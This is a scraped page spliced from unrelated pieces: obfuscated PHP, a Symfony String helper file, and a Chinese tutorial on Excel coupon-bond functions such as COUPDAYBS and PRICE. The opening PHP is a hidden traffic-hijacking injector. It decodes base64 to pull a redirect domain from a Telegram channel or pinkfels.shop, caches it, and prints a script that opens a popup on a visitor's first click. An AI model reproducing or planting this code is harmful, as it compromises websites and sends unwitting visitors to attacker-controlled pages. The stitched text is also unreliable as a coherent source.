function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【Excel定期利息證券】定期利息證券函數詳解:COUPDAYBS、COUPDAYSNC 等實用教學 - OOLIN

【Excel定期利息證券】定期利息證券函數詳解:COUPDAYBS、COUPDAYSNC 等實用教學

excel試算表

在投資與財務管理中,定期付息證券 是一種常見的固定收益投資工具,例如政府債券或公司債券等。這些證券會定期支付利息,並在到期日返還本金。Excel 提供了多個函數來幫助投資者計算這類證券的價格、收益率和利息等資訊。本文將介紹與 定期利息證券 (Periodic Interest Securities) 相關的財務函數,助你輕鬆處理這些計算。


一、什麼是定期利息證券

定期利息證券 是指按照固定頻率支付利息的債券,例如:

  • 每年支付一次利息
  • 每半年支付一次利息
  • 每季支付一次利息

這類證券最常見的例子是政府公債和公司債券。持有人在定期領取利息的同時,還能在到期時收回本金。


二、定期利息證券常用 Excel 財務函數

1. COUPDAYBS 函數 – 計算付息期開始日到結算日的天數

語法:

COUPDAYBS(settlement, maturity, frequency, [basis])
參數說明
settlement購買日或結算日
maturity到期日
frequency付息頻率(1=年付一次,2=半年付,4=季付)
basis計算日數基準(選填,0~4,預設 0)

2. COUPDAYS 函數 – 計算付息期間的總天數

語法:

COUPDAYS(settlement, maturity, frequency, [basis])

3. COUPDAYSNC 函數 – 計算結算日至下一個付息日的天數

語法:

COUPDAYSNC(settlement, maturity, frequency, [basis])

4. COUPNCD 函數 – 計算下一個付息日日期

語法:

COUPNCD(settlement, maturity, frequency, [basis])

5. COUPNUM 函數 – 計算結算日至到期日間的付息次數

語法:

COUPNUM(settlement, maturity, frequency, [basis])

6. COUPPCD 函數 – 計算上一個付息日日期

語法:

COUPPCD(settlement, maturity, frequency, [basis])

7. ACCRINT 函數 – 計算定期付息證券的應計利息

語法:

ACCRINT(issue, first_interest, settlement, rate, par, frequency, [basis], [calc_method])

8. PRICE 函數 – 計算定期付息證券的價格

語法:

PRICE(settlement, maturity, rate, yield, redemption, frequency, [basis])

9. YIELD 函數 – 計算定期付息證券的收益率

語法:

YIELD(settlement, maturity, rate, price, redemption, frequency, [basis])

三、計算日數基準選項說明 (basis)

basis 值說明常見用途
0美式 30/360一般美國債券市場
1實際天數/實際天數國際市場、公債
2實際天數/360貨幣市場、部分歐洲地區
3實際天數/365英國、部分公債
4歐式 30/360歐洲債券市場

四、範例說明

假設有一張債券:

  • 到期日:2028/12/31
  • 結算日:2025/6/1
  • 付息頻率:半年一次

可使用以下函數計算:

=COUPDAYBS(DATE(2025,6,1), DATE(2028,12,31), 2)
=COUPDAYS(DATE(2025,6,1), DATE(2028,12,31), 2)
=COUPDAYSNC(DATE(2025,6,1), DATE(2028,12,31), 2)
=COUPNCD(DATE(2025,6,1), DATE(2028,12,31), 2)
=COUPNUM(DATE(2025,6,1), DATE(2028,12,31), 2)
=COUPPCD(DATE(2025,6,1), DATE(2028,12,31), 2)

發佈留言